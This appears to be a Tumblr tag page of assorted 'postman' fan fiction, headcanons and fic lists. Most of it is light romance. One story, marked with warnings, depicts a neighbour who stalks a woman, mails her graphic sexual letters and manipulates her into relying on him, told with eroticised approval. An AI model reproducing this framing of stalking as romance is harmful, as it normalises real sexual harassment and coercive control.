#postman scenario

[moonstruckme]

Please Mr. Postman (pt 2)

summary: a continuation of this drabble where you meet the handsome postman at your new job

postman!James x fem!reader ♡ 756 words

For a moment, James thinks he’s been let into your building by a ghost. 

“Hello?” 

Your head pops up from behind your desk. “Sorry, hi!” 

James smiles instantly. He walks the rest of the way into your office, setting down your packages by the door. “Hi, lovely. How’s it going?” 

“Good, you?” 

“Can’t complain. Need your autograph for a couple things, please.” 

“Right, just a second, sorry.” It’s not unusual for James to come in and find you in the middle of a task, but today you seem especially harried. “Ow! Son of a—” 

“What are you doing back there?” James peers over your desk. 

What you’re doing is half straddling, half sitting on a cardboard box, squeezing the flaps together with your legs and holding them closed with your hand. Your other hand is holding a tape gun, which you appear to have cut yourself on the sharp edge of. You drop it to put your thumb to your lips. 

“Um.” James’ face heats at the way your skirt rides up with your thighs clenched around the box. “I think you may need a bigger box.” 

You laugh, breathy and exasperated. “You’d think, wouldn’t you? But this is the biggest one we have.” 

You look at your thumb, frowning, and pick up the tape gun again. James gets ahold of himself. 

“Hold on. Give that here, babe. Let the professional handle this.” 

You look up like you’re going to apologize again, but he only beckons. You pass him the tape gun and let him shoo you away from the box. 

“Press the sides together for me?” He asks, taking the perhaps less-than-necessary measure of guiding one of your hands to the side of the box. “Like that, yeah. Thanks.” 

James holds the flaps down as you had, sealing them over with tape in one easy motion. He double-layers it for good measure. 

You slump back into your chair, relieved. “Thank you.”

“No problem.” He gives the box a good pat. “This for me?” 

“Yeah. It’s pretty heavy, sorry.” 

James tsks. “Oh, come on, you ought to know better by now. There’s nothing I can’t carry.” 

Your lips curve in a smile. The highlight of James’ morning, every morning. “That dolly’s just for show, huh?” 

“That’s for when I’m feeling lazy.” He grins, leaning against your desk. “How’s your week going?” 

You tell him. You’re no longer surprised by James’ tendency to stay and chat when he drops off your packages. Every day, he comes in here with something new he’s dying to know about you. Where you grew up, if you have any pets, what your favorite subject was in school. James’ curiosity seemed to confuse you at first, but you’ve since grown used to him, answering him more readily and asking your own questions in turn. He knows how you like your coffee, which coworkers are your favorite and which you dread speaking to, and that you keep a small collection of candles in your top drawer so you can cycle out the scents based on your mood. The more James knows about you, the more he wants to learn. 

Eventually, the chatting has to come to an end. James has a pickup down the street to grab before noon. He needs to go. 

“Hey,” he says conversationally, hoisting your box into his arms. (It’s not really that heavy.) “When do you usually take your lunch?” 

“Oh, um.” You go shy, an expression James doesn’t see much of anymore. Your fingertip presses into the cut on your thumb. “I don’t usually take one.” 

James’ brow furrows. “You don’t get a lunch break?” 

“Well, I’m not…really sure. I haven’t asked.” 

“No,” he says, disbelieving. “You mean to tell me you’ve gone all this time without a lunch break because you’re afraid to ask?” 

Your shoulders come up towards your ears. “I don’t want to seem greedy.” 

James laughs. “A lunch break isn’t greedy, love. It’s normal—it’s your right!” You look sheepish, like you’d suspected this to be true already. James levels you with his sternest look. “Ask someone, please. And when you find out, let me know. We can take ours together sometime, if you want to.” 

He sees the moment you register what he’s really asking you. “Oh.” You blink, pretty eyes widening slightly. “Yeah. I’ll let you know.” 

“You have to ask first,” James reminds you, cracking a smile on his way out. “Be brave. See you tomorrow.” 

Your voice echoes after him faintly, the same as every other day. “See you tomorrow.” 

[teabreakpancakes]

omg okay so could you maybe write headcanons/a scenario for victor, naib, eli, and norton where the reader takes on a motherly role to the little girl? where she like adopts the reader as her mom! maybe a lil bit of robbie in there too if you want ^w^

The Traits Of A Mother Victor, Naib, Eli and Norton with a Motherly GN S/O

Genre: Fluff

𝐕𝐈𝐂𝐓𝐎𝐑 𝐆𝐑𝐀𝐍𝐓𝐙

you handle kids so well, he thinks it's so charming

you're the entire package, you can even cook well !

it's funny because you, weirdly enough, fuss over the hunters as well

"Mr. Hastur! please stay for a while, you must be tired after your match, please have some of this stew that I made, I hope it's to your taste" you offered, pulling him by his sleeve towards the large couch made for hunters. The Eldritch god didn't dare oppose, knowing you only wished to aid him in feeling well. Though, he couldn't say the same for the survivors gawking at you, their faces said it all, 'You idiot! he can kill you with one swipe and you still decide to go near him?!?!'—admittedly, he found it odd as well, but it's not like you allowed any of them—yes, them to refuse.

everyone either sees you as wifey material, a parent figure, or an older sibling: he just thought you were a parent figure to most people

𝐍𝐀𝐈𝐁 𝐒𝐔𝐁𝐄𝐃𝐀𝐑

he finds it endearing, yet amusing at the same time

you remind him of his mother when you fret over him and everyone else, except you're a version that came from heaven itself

he loves it when you cook for him

you cook a LOT for him, knowing his appetite

imagine seeing a survivor telling off a hunter because they didn't finish their food, rather bizarre don't you think? he won't say that out loud though

Naib stifled his laughter behind his closed fist, eyes fixated on the scene of you forcefully spoon-feeding Mary carrots. "I don't care if you were a high ranking noble previously or if you're older than me! that does not mean you are dismissed from eating vegetables just because you dislike them" you berated the hunter, handing her a cup of water. Mary hesitantly chewed the carrot, imaginary tears in the corners of her eyes as she fought the urge to throw up. "Don't worry, I'll give you your favourite dessert if you manage to finish your vegetables" you comforted, smiling at her.

everyone either sees you as wifey material, a parent figure, or an older sibling: mf just didn't care much abt you until you began to dote on him as well

𝐄𝐋𝐈 𝐂𝐋𝐀𝐑𝐊

he thinks it's lovely !

he rlly wants a family with you :((

his brainrot is finally having one with you

eli often assists you in caring for the kids, especially robbie; the hunter is a bit cheeky and hard to handle, similar to other kids his age

"Eli! hand me a towel, Robbie is dripping water all over the carpet!" you hollered, running around frantically in search for "Memory", the other child that so graciously decided to join the little undead boy in playing in rain. Eli could only smile fondly as he wrapped the towel around the hunter, "They're losing their head again" he joked, drawing out amused giggles from the hunter. Eli guided towel-clad Robbie towards the bathroom, looking back once more to see you carrying a towel-covered "Memory".

everyone either sees you as wifey material, a parent figure, or an older sibling—he "saw" you as his one and only

𝐍𝐎𝐑𝐓𝐎𝐍 𝐂𝐀𝐌𝐏𝐁𝐄𝐋𝐋

you're so sweet to kids and yet you nag him like his own mother

"¿Mi madre resucitó de entre los muertos?" (Did my mother rise from the dead?) Norton deadpanned, nearly regretting his decision of baiting the hunter away so his team would be able to open the exit gate. "You really need to be more careful, what if the dungeon hadn't been in the area—the hunter had detention for 50 more seconds!" you rebuked incessantly, Norton wished to tell you that he'd prefer to kite a hunter with detention just to hear you worry about him but he wished to be able to eat your cooking so he didn't proceed ^^;

he can't help but smile when he sees you take care of little girl or robbie

everyone either sees you as wifey material, a parent figure, or an older sibling—he thought his mother sent you to him as her replacement

[ithaquasbbg]

Hii I hope you're doing well!

I just thought of this, but this might've been already done by some other writer but idk.

Can I request fluff hcs for Victor Grantz/Postman that meets his penpal? Fem or GN reader, whichever you prefer!

Please and thank you! Take care of yourself! Eat, drink and sleep plenty!

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Hi anon! :) yes I can do this :D

Victor Grantz | Postman w/ a fem pen pal reader Hcs

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Pairing : Nothing established, could probably be read as Victor x reader

Tw: none

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|💌| He’d probably be incredibly anxious before meeting you in person. What if you didn’t like his company in person? What if he’s too awkward?

|💌| I think it’s safe to say that you probably have those fears as well before meeting him! Both of you are so excited but so worried at the same time!

|💌| When you do meet Victor hands you a letter with a wide smile on his face, the contents basically talking about how excited he is to finally meet you

|💌| Victor will introduce you to his dog with that same big smile, he’s obviously very happy to see you after so long of writing to each other!

|💌| He probably tells you that you look really pretty (whether written or verbally- however you interest him). Romantic or not- it’s still a sweet gesture!

|💌| On a similar note, he is a cute guy in general- and if you returned the compliment he’d likely be flustered beyond belief.

|💌| When you two have to leave again, he’ll promise to write to you as soon as he can!

|💌| Sure enough, you get a letter in the mail a few days later talking about how much he enjoyed meeting you, and asking if you could meet up again soon!

….

Yipeee

[midniqhtt]

james potter

masterlist • the marauders • 04/25/25

˚‧⁺ ･ ˖ · ୨ৎ recs two

james potter one

𑣲 in another life part 2 I @astonishment

In another life, you and Pietro would have happily spent the rest of your years together. In this life, he died right in front of you. Adjusting to your new world and mourning his loss wouldn't be so hard if it weren't for James Potter; the funny, charming, caring, annoyingly persistent man that looks just like the love you lost.

𑣲 love letters I @amiableness

Y/n starts receiving love letters, and James doesn't handle it well, leading to him writing his own.

𑣲 dad!james universe I @/amiableness

𑣲 kiss and makeup up I @/amiableness

James ruins reader’s date and attempts to make it better.

𑣲 hockey!james part 2 part 3 I @/amiableness

𑣲 speak up I @mischievousmoony

reader talks very quickly and quietly and often is told that she needs to speak up.

𑣲 haywire holiday I @/mischievousmoony

you have trouble sleeping when you unexpectedly have to share a bed with james on your holiday

𑣲 building blocks I @/mischievousmoony

𑣲 i know you I @/mischievousmoony

𑣲 roses and pledges I @/mischievousmoony

as president of a fraternity, your boyfriend has pledges at his beck and call. so naturally, he tasks them with handing you valentines roses throughout the day

𑣲 new romantics I @pretty-little-mind33

When your "friends" play a dangerously stupid prank on you, James is the last person you'd think would help you.

𑣲 afterglow I @/pretty-little-mind33

James is threatened by how good you are at Quidditch which means he hates you. And what emotion is closer to hate than love?

𑣲 timeless part 2 I @/pretty-little-mind33

James wants to take you out to one of his families' fancy parties. However, he underestimates how cruel people can be when someone is different.

𑣲 enchanted I @/pretty-little-mind33

Three weeks after his devastating break up with Lily, James wanted Remus and Sirius to bring him to a muggle bar in central London.

𑣲 beautiful I @sun-kissy

𑣲 in another life I @/sun-kissy

𑣲 sunlight I @/sun-kissy

james is your best friend, and you tell him you love him as more than that

𑣲 request I @ellecdc

𑣲 he shoots and he scores I @/ellecdc

𑣲 bsf!james I @ddejavvu

𑣲 good luck charm I @/ddejavvu

James is convinced that you’re his good luck charm, so before every quidditch game, you find yourself at his mercy in the locker rooms.

𑣲 request I @/ddejavvu

𑣲 my girl I @alwaysmoncheri

no one makes james potter feel the way that his girlfriend does and he definitely knows it

𑣲 roommate!james series I @moonstruckme

𑣲 roommate!james I @/moonstruckme

𑣲 vampire!james I @/moonstruckme

𑣲 mr. postman part 2 I @/moonstruckme

it's your first day at a new job, and the postman who comes by your office is especially friendly

𑣲 short scenario I @curseofaphrodite

where you, the Hogwarts Newsletter editor, wrote a less-than-praising piece about Gryffindors losing the recent match.

𑣲 lifeguard!james I @g1rld1ary

𑣲 bothersome I @/g1rld1ary

you and james can't help but bother each other whenever you sit together in class

𑣲 heart shaped doodles I @/g1rld1ary

you accidentally get given james' essay, covered in doodles with your intials together

𑣲 don’t want you like a best friend I @moonlightspencie

James is nervous about his inexperience with girls. Luckily he has a best friend who's more than willing to help.

𑣲 do it for me I @morwap

𑣲 bonding I @marauroon

you’re convinced james has separation anxiety. the boy can’t even let you shower in peace.

𑣲 from now on I @rainydayathogwarts

James Potter gives head for the first time, and it quickly becomes an obsession.

𑣲 request I @theemporium

𑣲 teacher!james part 2 part 3 part 4 I @lupinsweater

𑣲 best!friend remus with no boundaries leave you alone with james I @mallowsweetmiri

𑣲 james with american gf hc I @s0urw00lf

𑣲 concussions 'n confessions I @sleepiexx

James quickly realizes his feelings for you— shortly after you’re struck directly in the head with a bludger.

𑣲 something he'd overheard I @/sleepiexx

James finds himself head over heels when he sees you defending a first year student. 

𑣲 one of the guys I @thatdammchickennugget

you have always been one of the guys, but what if you don't want to be anymore?

𑣲 not saying i love you prank I @iamgonnagetyouback

𑣲 awkward dates I @/iamgonnagetyouback

When James stays quiet, too quiet, on your first date, unwelcome thoughts start clouding your mind.

𑣲 animagus!reader I @/iamgonnagetyouback

who he picks up thinking as stray and lets in on a secret

𑣲 genuine I @kquil

your boyfriend finally takes a role who has a romantic interest but his expression is hardly convincing; only you can get a genuine reaction from him

𑣲 boudoir photoshoot I @/kquil

you have your bridesmaids show James, your, now, husband, polaroid samples from your boudoir photoshoot on your wedding night while you enjoy his reactions from afar

𑣲 did i mention? I @hemmingsleclerc

james declared himself to yn during a quidditch game in the most ridiculous way possible

𑣲 divination I @ticifics

“You two have an intertwined future,” the teacher says, her enigmatic smile deepening. “I see a boy… He’ll wear glasses, like his father.”

𑣲 the boy with the glasses is blind I @crescenthistory

[phone4pills]

DEAR SANTA DAY 1

𝜗𝜚⋆₊˚ slow’s advent calendar! no warnings apart from some venting, don’t try this btw, stranger danger

You felt so stupid when you dropped your letter in the postbox. Your friends had dared you to write a Christmas wish list and mail it to a random address in a random state. You’d spun a wheel and landed on Massachusetts. So you’d written your letter to a random home there, in Boston specifically. And you’d drawn pretty pink and red bows on the envelope, hoping whoever received it would like them. At first it didn’t seem like a huge deal but now that you were actually stood in front of the crimson post box, no way to turn back time and get your letter out of the pile, your nerves were spiking off the chart.

You took a deep breath, shoving your hand a back into the pockets of your coat and walked away, deciding that you wouldn’t look back at that darned post box, only following the snowy trail ahead of your feet.

Four days later - Sturniolo’s Home

Matt hurried downstairs towards the sound of the doorbell. The rest of his family had left the house to buy Christmas secret santa gifts for each other. He’d already ordered his online for Chris. A cameo from one of his favourite celebrities and a chain with his name on it. He also had a Lego set in his room that he’d been meaning to give his brother, so he would add that in too.

When he opened the door, he was surprised to find a postman with an envelope addressed to their house but nobody specifically. It was nicely decorated with some bows on the back so it wasn’t something serious like bills or anything to do with a business. And there was no parcel with it. Only the envelope. He thanked the postman and closed the door, almost scared to unveil what was inside.

The envelope sat on his desk for a few hours. And he stared at it. Longer and longer. Until the corners began to curve and he was seeing multiple shades in the plain white folded paper. He wanted to wait for Chris and Nick to get home so they could open it together. But the temptation was eating away at him. And he couldn’t resist anymore, reaching across the room to grab it and settling down on the end of his bed.

His fingers played with the opening for a bit until he eventually tore the envelope open and pulled out a folded bit or cream card. A deep breath racked through Matt’s throat as he unfolded the piece and read the note.

Dear Santa,

Whoever you may be, I hope you’re having a great time these holidays. I’ve never been the biggest fan of this time of year but I promised myself I’d be more outgoing so I’m writing this to you, Santa Stranger, hoping you’ll read it someday, preferably before Christmas.

I really wish for good grades in college this year and success in the future so the job I work to pay off my student loans is all worth it. I hope that I can finally buy the camera I’ve had my eye on for a while and take capture loads of memories with my friends, and my grandma because she’s getting older and I always want her with me.

But most of all, I hope that Christmas this year feels as magical as it was when I was a kid. The lead up to the holidays is always so exciting but I feel like I keep getting let down now that I’m older. I hope that this Christmas can be different, enchanting.

I admit, I have yet to buy presents for a lot of people. Especially the boys and men in my life. I swear it’s so hard to shop for the male population. If by any chance you might have some ideas, I’d appreciate them. That’s in the scenario that this reaches you in time and you can get it back to me before the 24th, which I kind of really hope it does.

That’s all for now. Until next time, Santa.

- Signed, Elf

A grin spread across Matt’s face and his eyebrows, that were previously knitted together, softened. He was ultimately in awe, unable to deny how genius he thought the whole scheme was. And he wondered what the chances were that this ended up at his house, of all the houses in America. He found your address on the back of the slip and made a start writing his letter back as quickly as he could.

He’d been meaning to talk to someone about Christmas in more depth. He’d talked about it a little bit with his brothers on their YouTube channel during the lead up to the winter season, but he’d never truly gotten to express how he felt about the time of year. And now he was given a perfect opportunity. There were no ties to it. No judgment. Only honesty, and he liked that.

Three days later - Your Home

You’d received a green envelope in your postbox with smiley faces drawn all over it. Instantly, you knew what it was. You’d almost completely forgotten about the message you’d shipped off previously and had your doubts about it being returned.

Hurriedly, you ran across the hallway and threw yourself down on the couch, giving your cat a few head rubs before peeling open the casing around a piece of white card.

Dear Elf,

I wish you’d seen my face when I opened your letter. I won’t lie and say I wasn’t frightful when I was handed the envelope. The bows are really pretty by the way, you must be a good doodler. I doodle a lot too, especially when I’m feeling particularly anxious about things.

Speaking of relations and similarities, I’m glad I’m not the only one who’s had a good few thoughts on Christmas this year, and the last few. Maybe some magical force directed your message to me so I’d have somewhere to write down all of my thoughts. I’d have someone to tell without the weight of being judged in person.

I’m not that good at writing if you couldn’t tell already but I’m trying my best. I hope this year’s holiday season is like a breath of fresh air from all of the stress that’s polluting my life. I feel like I just need to feel free to feel Christmas. And I’m grateful for all I have of course, but it’d be nice to get away from all of the hate and negativity that comes with it.

About college, I never actually went but I wish the best for you. You should tell me about it. And be honest, I want to know all the details. I don’t have much time before my parents and my brother get home but before I forget, women are ten times harder to shop for than men!

Anyway, I got my brother a silver chain with his name on it and a cameo for secret Santa this year. I’m also throwing a Lego set in there. I don’t know if that’s helpful in any way, but it’s all the knowledge I have to offer. At the end of the day, any gift is a gift in the end. And it will be appreciated.

I wish you a Merry Christmas and I hope that all of your wishes come true. I think everybody needs a little bit of holiday magic this winter. Please do keep writing back to me if it’s possible. I’ve been needing something like this without even knowing.

Can’t wait to hear back. Until next time, my Elf.

- Signed, Santa

Thanks for reading ! There will be a Chris fic to come on the 3rd. Meanwhile, I have something else planned for tomorrow my lovelies. And a warm welcome to Slow’s Advent Calendar everyone.

- ©phone4pills

[nottivagos]

f!pov & stalker!carlos sainz.

wc: 2,064 words

tw: stalkers, dark themes, brief? mentions of nsfw

a/n: HELLO!!! welcome back to notti's nightly novellas. this fic is heavily inspired by i believe @/emchante's stalker!au carlos as it really made my head drabble on and yap about silly stalker carlos sending anonymous notes to his darling.

Fear and Sex, He Wrote. ¦¦ CS55

A sick pool of fear churned and curdled in your stomach. Wide eyed and teary, your eyes frantically flicked over the thick, cream-coloured cards in your trembling palms. The light sweat made them sticky to touch, they were letters, very detailed ones,— but not just any letters. Graphic sex fantasies, crude depictions of objectifying yourself and the dreams this anonymous lustful sex pest wanted to do to you.

It wasn’t the first time you’d received such sickening things. Such things that needed to be kept away, right at the back of someone’s mind, never to be revealed into the public eye. Or in your case, the bedroom. No, this occurrence had been going on for longer than any woman dreamed of suffering— a controlling bundle of fear wrapping you up whole, swallowing any inch of free will you had with ease, shutting off your vocal cords whenever you wanted to report it.

You were an undoubtedly beautiful woman. Even you knew that. On the brief appearances you made at bars and clubs, your presence was definitely made noticeable. Men and women’s gazes loomed over your figure, snugly dressed in garments that presented your soft curves in ways unimaginable, but also tempting the more monstrous side of them to imagine what lay underneath whilst you kept basking in the strobe lights, cheaply made cocktails in hand, and thumping drum and bass the typical ‘nighttime’ spots had to offer.

Maybe it was some sort of sick joke? You always thought, as glassy, stinging eyes glossed over each bold mention of ‘fuck’, ‘cunt’, ‘cock’ and ‘come’ that the unidentified freak wrote. The harsh wording and setting created a burning imprint in your mind, a forced sex position or lewd scenario that lurked— haunting your days in its own predatory, violent way— keeping your poor mind on edge, leaving you uneased even inside your own home.

Loneliness and anxiety aren’t a pleasant mix. It’s a mix that makes your gut twist and turn, churning acidic bile which is begging to be retched into a basin. The feeling suffocates anyone, like a metaphorical hand wrapped tightly around someone’s throat, leaving them silenced and isolated. Afraid of speaking out. Afraid of unknown consequences, causing overthinking and psychological turmoil.

Even the mere postman knocking on the door created tight knots in your stomach, the burning feeling of upset overflowing— the sheer fright flashing across your eyes, causing your insides to drop and heart to pound, the healthy colour of your skin to become a ghastly pale, pasty and sick, as if the horror of another looming erotic, predatory desire was sat quaintly on your doormat inside.

You felt ashamed, how could you have let fear and embarrassment silence you like that? It was only a piece of paper, containing some mere explicit eroticism— maybe a little too pornographic in parts—, which had been completely normalised by the changing ways of society. That’s when it changed, this one was different. The anonymous author had gotten every little, tiny feature of your appearance to a tee. How the hell did someone get something so graphically accurate? Someone, comfortably distanced from you, was stalking you, your body, and your soul.

It was beautifully fucked up. Honestly it was. And that pretty little head of yours would never come up with a logical reason, answer or identity to the mystery sex writer who overflowed your mail.

Your head was too busy hung low, your pathetic sobs muffled by your wettened hands to acknowledge your next door neighbour, Carlos Sainz, peering straight through his blinds with a sadistic smile.

Oh, sweetheart. You stupid, stupid girl. You’re way too easy to scare. The Spaniard contently thought to himself, watching you unfold in turmoil, like a scared kitten left in the pouring rain. It was ravishing, really— for his own pride’s sake. He’d been able to mingle himself into your mind, graphic fantasies manipulated into words, whilst maintaining that hidden identity— that bit of untold freedom which made his hardness twitch as he wrote such lewd things— happily away from you.

He, in short, was proudly your stalker. The man solely behind the erotic fantasies carefully, yet sickeningly curated and gracefully handwritten which made your lips tremble and heart sink.

Your relationship with Carlos was, in your opinion, completely platonic. Maybe a little too over-friendly sometimes, with his gentle touches and sweet nothings, but it wasn’t an issue for you. If anything, you latched onto it. Grasping onto that cherishing feeling, that little smidgen of hope when he showed the signs of caring about you in your predicament. He was the first person you’d been able to crack up the courage to tell, after he tenderly brought up his concerns for your distance from the neighbourhood, as if you were a ghost of the lively girl you used to be.

It was like a dream, an endearing one, at least. You’d been met with loving, soothing and somewhat addicting words, delivered by his thick, distinct accent that drawled and murmured like gooey treacle, whilst also being so gingerly touched as if you were a fine, pure piece of porcelain— easily breakable— in the eyes of the tanned man of thirty.

But underneath that facade? Well, those ‘innocent’ words were way more sinister; quiet degradations and malice which crumbled your psyche word-by-word, like a mason carefully chipping away at the stone to perfectly craft his newest statue.

It was bliss to Carlos. He was meticulously spinning this ‘safety net’ for you to rely on, whilst actually the poison and venom drawing you back to him with every horrible phrase on each card that stacked high with the various others collecting dust in your flooded letterbox. Every striking pornography he scribed drew you back to him, and he was more than welcome to accept you back into his open arms.

The reality was horrific, really. But you’d become so accustomed to it, the comfort becoming an overpowering drug, a strong magnetic force, always making— pulling you, even, to come back crawling to him.

Clutching the card tightly, you shoved it into your trouser pocket, before brushing the stinging weep away from your reddened eyes with hasty movements of the back of your hands. A soft sniffle escaped, a hiccuped sob muffled as you wiped a tissue across your snotty nose, then you rushed out of the door.

Your destination was ingrained into your mind, the scenario and situation like clockwork. Your only desired embrace being Carlos’s, as your mind went on autopilot, guiding you directly to your neighbour’s house.

He was already waiting for you. Your predictability was becoming amusing to the Spaniard. The movements were inevitable, a cycle so firmly fixed into your mind that even if one thing was altered slightly, you’d be a confused wreck. He liked that. No, he loved it. Something in that twisted mind of his had happily adopted whatever this whole ‘comforting�� thing was months ago, in the early days of his erotic, anonymous filth.

“Oh, pobrecita,” he drawled, his tone as light as a feather, opening the door to your emotional state, “come in. Come in. Let me hold you.”

He ushered you into his house, quickly closing the door on the piercing cold outside. Large, strong arms then pulled you into an almost suffocating embrace, with Carlos pressing his nose into your hair, planting a tender kiss on your head.

“Shh, it’s okay,” the Spaniard consoled with a coo, a large hand brushing away some stray strands of hair which had messily stuck to your damp, burning cheeks.

He tutted softly, muffling your sobs in with his chest, cradling your head as you cried. “Breathe, nena.”

You seemed to melt into his warm closeness, face nuzzled into his chest as watery eyes dampened his new shirt, but Carlos seemed uncaring. Despite not fully having you, you were still his darling, in his own disfigured fashion, the sinful anonymities just luring you closer and closer into his den, but for now he’d settle with you in his arms— the bedroom, sex, and the awaiting marriage could wait— even with the sobs, despite his deep hatred for them.

Only he could make you cry. A sick possessiveness, God forbid, that only he was able to get out of you. The anonymous notes Carlos left in your letterbox were merely tame in his eyes— well, that's what he believed in his own sick mind.

You delved into your pocket with a jittery hand, thrusting the newest addition of anonymous sex cards into the Spaniard’s grasp. His large hand came to claw your head in response, softly pressing your face against his chest again, the coarseness of Carlos’s palms a contrast to your smooth, silky locks of hair.

His voice rumbled deeply, his hushes cooing your weeps away, whilst his lips were soft on your temple now and again as he read the card with a level of assertiveness.

He couldn't help but chuckle at his own words. God, he was hauntingly accurate in his fantasies, his imaginative depictions of you in all sorts of positions— the list of lewd thoughts in his head long, as a sly smirk crossed his lips as he kept your face out of sight of his.

Sliding the card into his own pocket, he purred, “I think you're overreacting, cariño,” the hot breath fanning onto the shell of your bare ear. “Surely it's a coincidence,” he continued, his words deliberately slow and intoxicating, “any girl like you could've been wearing that dress this… person speaks of.”

There was something about his words that made you gasp. A sharp intake of breath whistling through your teeth, which left your heart drumming in your chest. Words as smooth and comforting as sweet honey, laced with poison. Caring words of malice, caressing your fear. Manipulation, raw, and at its finest.

Maybe it was a coincidence. Anyone could've worn that dress, so easily described and painted through Carlos’s sick, anonymous words. The same dress he yearned to ‘jerk his aching cock to’ whilst inhaling your sweet scent off of it.

Slow fingertips trailing your back broke you out of your frenzy of thoughts. Little specks of goosebumps trailing in their lazy tracks. Carlos’s other hand soon followed, cupping your stinging, reddened cheek oh so softly, his large, brown doe eyes swallowing you whole in one gaze. You could spend years, eternities even, swimming in the intricate specks of hazel.

The hand on your cheek, grazed your soft flesh, the roughness of his knuckles causing a flicker of heat to rush to them in his wake. Carlos’s lips formed a small smile, to which you responded with a loud sniffle, and some more relaxed breathing.

Who knew a few sweet nothings and hand grazes could stop you from being a whimpering, emotional wreck, hmm?

Swallowing the lump growing sourly in your throat, you replied, “Y-yeah, maybe you are right.” The reply was a mere whisper, before you added quietly, “Just… Just a coincidence.”

“Just a coincidence,” the brooding Spaniard repeated lowly and so thickly, it left you shivering slightly. A little flutter forming in your stomach at the intensity of your shared gazes once again.

The bolts of lightning sparked as you both swam in your shared silence— a moment of blissful intimacy, so unspoken yet perfect and oh so palpable. Air thick around you, Carlos broke it, clearing his throat abruptly.

“Why don't I run you a nice bath, hm?” he suggested smoothly, the tar of his accent thickly smothering your senses. An arm slowly snaking before wrapping around your waist snugly, “I bet you're feeling disgusting after shedding all those tears.”

Pausing for a moment, you felt safe in that moment. “I'd like that, yes,” you responded softly, your widened eyes meeting the tanned Spaniard’s for one more time. “Thank you, Carlos. For everything.”

Your sweet lips formed the smallest of genuine smiles, which Carlos happily flashed back. There was an intensity in his eyes, burning deep below the surface of his facade, “Then let's go and get you cleaned up then, corazón.” Carlos finally murmured again, walking you up towards the staircase in his home.

Word by word, chip by chip, slowly breaking you away. He now had you just where he wanted you to be, stuck, so obliviously drunk on his poison in the spider's web of his own design.

like what you see? make sure to leave me some notes in my inbox if you want to see more stalker!carlos in my nightly novellas!

[mus1g4]

Has there ever been any interesting interactions inmates have had with the public? Like someone getting roasted cause their incarcerated?

Great question!

The most open area for civilian interaction is the jail yard. I remember being in the midst of a role play where I was on a chain gang breaking up concrete and taking it out to the alley on the other side of the jail. The postman was deliving mail and said to Bind (who was guarding) ".....I just don't get it man! You get these guys to pay you to be mean to them and do work for you! I guess I picked the wrong job!"

I was also in a nighttime arrest scenario where the guards were great friends of mine. They had gotten matching officer uniforms and put strobe lights in their GMC Suburban. When I pulled into the parking lot, they lit up the strobes and started an arrest! The only problem was that the local police saw them and thought that a neighboring jursidiction had come into town to make an arrest without notifying dispatch. We straightened things out quickly, but it was a tense few minutes!

[didyoulookforme]

messages masterlist

💌 also known as the postmatty au

during late summer 2019, there is a rather interesting new mailboy knocking at your door.

in this dream world, our beloved matty (m.t healy) is a postman because having a cool, cocky-yet-sweet boy deliver your mail is the ideal scenario tbh. this is his day job to be able to pay the bills but music is his one true passion—the old band shirts he wears under his uniform are a clear giveaway.

* = smut (sorry, can’t help it) oneshots

〰️ will happen one day…

blurbs & rambles

〰️ chatting about matty's clothing choices

〰️ chatting about matty's love for music & dancing

〰️ some facts about postman matty

〰️ some facts about reader in the messages au

〰️ nsfw headcanon pt. 1*

〰️ pillow talk*

〰️ coming back from tour*

〰️ some vibrator fun with himself*

〰️ matty and roomie adam

〰️ a cool shower after work*

〰️ him as a dad*

〰️ hot tub times*

〰️ having some fun on the kitchen counter*

〰️ flashing him mid concert*

〰️ you decide to give him a lap dance*

〰️ overwhelmed, but happy crying during sex*

other

〰️ images & other things that are postmatty coded

〰️ postmatty asks

〰️ music playlists

[barisolsdaughter]

All the wires had finally been attached. So now, the last thing to do was... "...Please press that red switch, so the 'Swap' can begin. Leave the box within 30 seconds after that—Ah, and don't touch the box while the 'Swap' is happening, or it could be blown away. Actually, the whole hospital could be blown away, in the worst case scenario." That was quite an exaggeration, but if it'd prevent the weird person in the red coat from messing something up in the procedure, she was more than willing to lie. The catatonic girl — Nemesis — was already fully set up beside her, and Levia was feeling... a bit cramped, as she often did inside the Black Box. The person in the red coat — 'Postman', as they'd requested she call them, soon left the box, having already pressed the switch. So, Levia closed her eyes, taking in a deep breath. When she opened them again, she had become Nemesis.

[—~—]

While the Black Box was operating, 'Postman' sat down on the chair by Dr. Barisol's desk, becoming slightly startled as it spun. ...Well, that was how they spent the next hour. Spinning on the office chair.

[—~—]

Levia finally stepped out of the Black Box, breathing in the fresh(?) air of her office. Seeing 'Postman' sitting on her office chair, Levia instead moved to sit down on the couch. "Ah, you're back. I don't think it's been exactly one hour yet, though." Levia stayed quiet, slumping against the couch while thinking deeply about whatever she'd seen during the 'Swap'. Those things couldn't quite be recorded by someone simply spectating, not without the admin code, so who knows what she saw?— Well, aside from herself, obviously. Though... Having watched the world for so long, the spectator was fairly sure they could accurately guess it. "...That's right...", She said, looking at the clock. "...Though, to me, it feels as if several years have already passed." It was quiet for a while, until the Black Box beeped. Ten minutes had passed. That was only 1/3 of the recommended rest time. But, for whatever reason, Levia was already getting up to get back into the Black Box despite the safety regulations. ...It'd be a long wait once again, wouldn't it...?

[—~—]

However... Once Levia returned, it seemed like there was a disagreement between her and 'Postman'. [...] "Yes. Nemesis' entire life, all I saw were simply... delusions. After all, there's no such thing as magic, demons—" She suddenly went quiet. "Wait. One of the victims, Gallerian Marlon... I'm sure I know that surname from somewhere— Ah, no. It's surely just a coincidence... Just like Dr Twiright showing up there must be one as well." Levia mumbled. She looked around her room, quickly grabbing her phone from her desk and browsing... something. "...Dr Barisol?" 'Postman' tried to get her attention. "...Right, my apologies. As I was saying..." Levia put her phone down once more. "There's no way all that was the truth. I mean, it must be true that she killed six people, and their names must be accurate based on how you reacted, but there's no way that the process was the same as what I saw." "...So even this wasn't enough..." 'Postman' sighed. "Dr Barisol, everything you've seen was the truth. The Evillious region, the magic, the demons... It was all real. The world really was destroyed by Nemesis' unleashing of Punishment—" "...That makes me think you might need therapy as well." 'Postman' let out an exasperated sigh, before taking off their—no, his hat, revealing his face. "Fine, what if I do this, then? Do you remember anything while looking at my face?" "Uh. No. I mean, you're fairly good looking, but you're... not exactly my type... I lean more towards... another demographic, so to speak. And, aside from that, you kinda look like my brother." ...'Postman' facepalmed. "Listen, we've met a long time ago." "...Well, I'm sorry, but I don't seem to remember it." "My name is Allen Avadonia, don't you recall? Though my real name is Alexiel. We met once, in the Lucifenian Royal Palace. You were the sorceress, Elluka—" "Enough with those fantasies—What are you doing?!" Levia exclaimed. While she was distracted, 'Postman' had moved towards the Black Box, beginning to fiddle with it. He was... inputting a code...? "You don't have proper qualifications to—" > [C█DE IN██T 